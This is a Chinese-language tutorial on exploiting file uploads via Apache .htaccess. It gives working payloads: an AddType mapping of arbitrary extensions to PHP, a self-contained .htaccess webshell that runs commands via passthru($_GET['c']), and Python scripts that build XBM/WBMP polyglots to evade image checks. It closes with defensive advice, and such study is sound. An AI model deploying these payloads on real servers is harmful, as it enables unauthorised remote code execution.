PayloadsAllTheThings 之 Apache .htaccess 上传利用指南:AddType 指令、自包含 WebShell 与 Polyglot 图片绕过
PayloadsAllTheThings 之 Apache .htaccess 上传利用指南:AddType 指令、自包含 WebShell 与 Polyglot 图片绕过
本指南以 PayloadsAllTheThings 仓库中 Configuration Apache .htaccess/README.md 为主体,系统讲解通过上传恶意 .htaccess 文件覆盖 Apache 配置、从而把任意扩展名文件变成可执行 PHP 的完整攻击链。你将掌握三类实战手法:最基础的 AddType 指令映射、无需二次上传即可直接访问的自包含 .htaccess WebShell,以及针对服务端 exif_imagetype 图片校验的 XBM/WBMP Polyglot 绕过,并了解其生效边界与防御思路。
攻击原理:为什么 .htaccess 能成为“任意文件上传”的突破口
.htaccess 是 Apache HTTP Server 的目录级配置文件,管理员可以在其中放置指令来局部覆盖全局配置,其生效范围是该文件所在目录及其全部子目录。正因如此,攻击者一旦能把一个内容可控的 .htaccess 文件上传到受害服务器的 Web 根目录(或任意可被 Web 服务解析的目录),就等同于获得了对该目录 Apache 行为的部分改写权。
典型的上传场景是:目标站点允许用户上传文件(头像、附件、编辑器粘贴内容等),但未严格限制文件名与内容。攻击者上传的不是图片或文档,而是一个 .htaccess,其内容可以包含 AddType、<Files>、Allow from all 等指令,进而:
- 把任意扩展名的文件声明为 PHP MIME 类型,使其被 PHP 引擎解析执行;
- 解除 Apache 默认对点号开头文件(如
.htaccess自身)的访问限制; - 与普通上传组合,形成“上传配置 → 上传载荷 → 触发执行”的完整 RCE 链。
原文档明确指出一个关键事实:.htaccess 中的配置只对同一目录及其子目录生效。这意味着攻击者上传的 .htaccess 与其 WebShell 载荷必须位于同一目录(或载荷位于 .htaccess 所在目录的子目录),否则指令不会作用于目标文件。理解这一点,是设计整条利用链的起点。
在 PayloadsAllTheThings 中,该技巧被归入 Upload Insecure Files/README.md 的 “Configuration Files” 方法论小节,与 IIS 的 web.config、uWSGI 的 uwsgi.ini、Python 的 __init__.py 并列,是“上传配置文件替代上传可执行脚本”这一思路在 Apache 侧的典型代表。
手法一:AddType 指令——把任意扩展名声明为 PHP
AddType 是 Apache 的核心指令之一,用于为指定扩展名关联 MIME 类型,语法为:
AddType mime-type extension [extension ...]
当服务端 PHP 以 Apache 模块(如 mod_php)方式运行、且配置允许通过 .htaccess 覆盖 AddType 时,上传一个内容如下的 .htaccess:
AddType application/x-httpd-php .rce
再上传任意一个以 .rce 结尾的文件,其中写入 PHP 代码。由于 Apache 已将该扩展名关联到 application/x-httpd-php MIME 类型,mod_php 会把该文件当作 PHP 脚本交给 PHP 解释器执行——这就是整套手法最精简的形态:
- 上传
.htaccess(内容为AddType application/x-httpd-php .rce); - 上传
shell.rce(内容为<?php ... ?>之类的 PHP 代码); - 直接访问
shell.rce,触发代码执行。
原文档中的 application/x-httpd-php 是 PHP 在 Apache 模块模式下的标准 MIME 类型;AddType 语法中的 extension 支持一次声明多个扩展名,例如 AddType application/x-httpd-php .rce .pwn .php7,可扩大后续上传载荷的可用后缀面。从仓库 Upload Insecure Files/README.md 的 “Configuration Files” 章节可以看到同一指令的完整解释与基本语法,可作为理解本手法的官方佐证。
选用什么样的“假扩展名”取决于目标站点的过滤强度:站点可能只黑名单化 .php,那么 .rce、.pwn 这类不常见后缀通常能直接放行。而一旦 Apache 侧执行了上述映射,后缀是否常见已无关紧要。配合仓库 Extension PHP/extensions.lst 中列举的 .php3、.php4、.php5、.php7、.pht、.phar、.phpt、.pgif、.phtml、.phtm、.inc 等 PHP 相关扩展名清单,可以构建更系统的测试字典。
手法二:自包含 .htaccess——把 WebShell 直接写进配置文件
AddType 方案需要“配置 + 载荷”两个文件,而 htshell 项目(原文档注明作者为 Wireghoul)给出了一个更隐蔽的变体:让 .htaccess 文件本身既是配置又是 WebShell。其思路是:
- 先覆盖 Apache 默认对
^\.ht开头的文件(即.htaccess自身)的访问限制,否则直接访问.htaccess会返回 403; - 再通过
AddType让.htaccess这个文件名被当作 PHP 解析; - 最后在
.htaccess文件末尾直接追加 PHP 代码。
原文档给出了完整的配置骨架:
# Self contained .htaccess web shell - Part of the htshell project
# Written by Wireghoul - http://www.justanotherhacker.com
# Override default deny rule to make .htaccess file accessible over web
<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>
# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directives from the .htaccess file
AddType application/x-httpd-php .htaccess
###### SHELL ######
<?php echo "\n";passthru($_GET['c']." 2>&1"); ?>
两部分合并后上传为单个 .htaccess 文件,访问 http://target/path/.htaccess?c=id 即可执行命令。这里有两个值得注意的执行细节:
- 解析顺序:Apache 会先解析
.htaccess中的指令(<Files>、AddType等),随后 PHP 引擎才把文件内容当作脚本执行。因此末尾追加的<?php ... ?>代码不会干扰 Apache 对指令的解析,而指令执行完成后文件又恰好被当作 PHP 处理——两者互不冲突,这正是“自包含”得以成立的关键。 - 参数拼接:
passthru($_GET['c']." 2>&1")把标准错误重定向合并到标准输出,确保ls、id等命令的错误信息也能回显到页面中,便于在无回显环境中确认执行结果。
与手法一相比,自包含 .htaccess 只产生一个文件,更难以被常规“检测到了几个恶意上传文件”的防御逻辑发现,也省去了两次上传的时机配合问题。不过代价是 .htaccess 内容较长、特征明显,容易被基于内容的 WAF 或 AV 检出。
手法三:Polyglot .htaccess——同时是一张合法图片
很多上传点会用 getimagesize() 或 exif_imagetype() 校验“文件必须是图片”。此时前面两种手法会被直接拦截。绕过思路是构造一个 Polyglot:同一文件既是语法合法的 .htaccess,又能通过 exif_imagetype() 的图片类型检测。
exif_imagetype() 通过读取文件开头若干字节的魔术头来判定图片类型。原文档指出,其支持的图片类型中包括 XBM(X BitMap) 和 WBMP(Wireless Application Protocol Bitmap Format),而这两种格式恰好允许以 #(XBM 中用于注释)或 \x00(WBMP 中的头字段)开头的行——Apache 在解析 .htaccess 时则会忽略以 \x00 和 # 开头的行。两种解析器的“垃圾行容忍规则”重合,使得同一文件可以同时骗过图片检测和 Apache 解析。
生成合法的 .htaccess/XBM 图片
XBM 格式的文本结构以 #define 宏开头,而 # 恰好是 Apache 的注释符,因此可以直接用文本方式拼接。原文档给出的生成脚本:
width = 50
height = 50
payload = '# .htaccess file'
with open('.htaccess', 'w') as htaccess:
htaccess.write('#define test_width %d\n' % (width, ))
htaccess.write('#define test_height %d\n' % (height, ))
htaccess.write(payload)
生成的 .htaccess 文件开头是 #define test_width 50、#define test_height 50 两行 XBM 声明,随后可以继续写入真正的 Apache 指令(例如 AddType application/x-httpd-php .rce)。对 exif_imagetype() 而言,它以 XBM 魔数通过检测;对 Apache 而言,前两行因 # 前缀被当作注释忽略,后续指令正常生效。
生成合法的 .htaccess/WBMP 图片
WBMP 是二进制格式,文件头由类型头(type header)和固定头(fixed header)构成,随后的宽度、高度字节是原始数值而非可读文本,因此需要按字节写入。原文档给出的生成脚本:
type_header = b'\x00'
fixed_header = b'\x00'
width = b'50'
height = b'50'
payload = b'# .htaccess file'
with open('.htaccess', 'wb') as htaccess:
htaccess.write(type_header + fixed_header + width + height)
htaccess.write(b'\n')
htaccess.write(payload)
生成的 .htaccess 以 \x00\x00 开头(WBMP 的有效头),随后是宽高字节与换行,再拼接以 # 开头的 payload 行。exif_imagetype() 读取头部即可识别为 WBMP;Apache 解析器则跳过以 \x00 开头的二进制行(以及 payload 中以 # 开头的行),后续写入的指令仍可生效。
实战组合建议
Polyglot 的载荷行不应只写注释。完整利用链通常为:在 payload 位置写入 AddType application/x-httpd-php .rce 之类的指令,随后照常上传 shell.rce;或者直接采用手法二的自包含思路,在 payload 区域同时包含指令与 PHP 代码。由于 Apache 忽略 # 和 \x00 开头行的特性,这两类内容可以共存于同一 .htaccess 内。
利用前的检查清单:什么条件下这套手法才成立
- PHP 运行模式:
AddType方案依赖mod_php(Apache 模块模式)或等效的处理映射。若 PHP 以 FPM/FastCGI 方式运行、且未配置.htaccess可覆盖AddType/SetHandler,则本手法不适用。 - AllowOverride 配置:Apache 主配置中的
AllowOverride必须允许覆盖相关指令类别(典型为FileInfo,其包含AddType),否则.htaccess中的指令会被忽略。 - 上传位置可控:
.htaccess与载荷必须落在同一个可被 Web 解析的目录树内,且该目录允许执行 PHP。 - 文件名校验:若上传点对文件名有严格白名单(如仅允许图片扩展名),则需先结合 Polyglot 手段绕过内容校验,并确认最终文件名仍是
.htaccess(必要时借助%00截断、大小写变换等扩展名技巧,可参考仓库 Extension PHP/extensions.lst 及 Upload Insecure Files/README.md 中的 “Upload Tricks” 章节)。
同一思想的其他配置载体:web.config 与 uwsgi.ini
“上传配置文件替代上传脚本”并非 Apache 独有。仓库中与 .htaccess 并列存放了其他配置载体,便于横向理解与对照测试:
- IIS:web.config——仓库 Configuration IIS web.config/web.config 展示了通过上传
web.config注册 handler,把*.config交给asp.dll处理并解除默认请求过滤,从而把 ASP 代码藏在配置文件中执行。 - uWSGI:uwsgi.ini——仓库 Configuration uwsgi.ini/uwsgi.ini 展示了利用 uWSGI 配置中的
@(exec://...)等魔术变量在解析配置时执行系统命令的手法。
在测试目标时,可根据服务端指纹(Server 头、报错页特征)先判断 Web 服务器类型,再选择对应的配置文件攻击面,避免在不匹配的环境上浪费时间。
防御建议
针对该手法的检测与防护,可从以下层面入手:
- 上传白名单:仅允许明确的安全扩展名(如图片、文档),并对
Content-Type、魔术字节与文件内容做一致性校验;特别注意拦截任何名为.htaccess、web.config、uwsgi.ini的配置文件上传。 - 禁止用户可控目录的配置覆盖:在 Apache 主配置中收紧
AllowOverride,关闭目录级AddType/SetHandler覆盖;对上传目录禁用 PHP 执行(php_admin_flag engine off或RemoveHandler)。 - 内容检测:对上传文件内容扫描
AddType、<Files ~、passthru、$_GET等特征串,留意 Polyglot 文件中混排的二进制头与配置指令。 - 纵深防御:即使单个上传点被绕过,也应保证上传目录与 Web 根目录隔离、运行账户最小权限,降低配置文件覆盖造成的实际影响。
小结
.htaccess 上传利用的本质,是把“允许上传文件”的能力转化为“允许改写 Apache 目录配置”的能力,再借 AddType 与 <Files> 指令完成从配置覆盖到 PHP 执行的两步跳转。AddType 映射是最简形态,自包含 .htaccess 把配置与载荷合并为一个文件,XBM/WBMP Polyglot 则让配置同时骗过图片内容校验。三者可独立使用,也可按目标校验强度递进组合;测试时请严格在授权环境中进行,并结合本仓库 Upload Insecure Files/README.md 中更全面的上传方法论(扩展名技巧、MIME 欺骗、图片压缩与元数据注入等)设计完整利用与验证流程。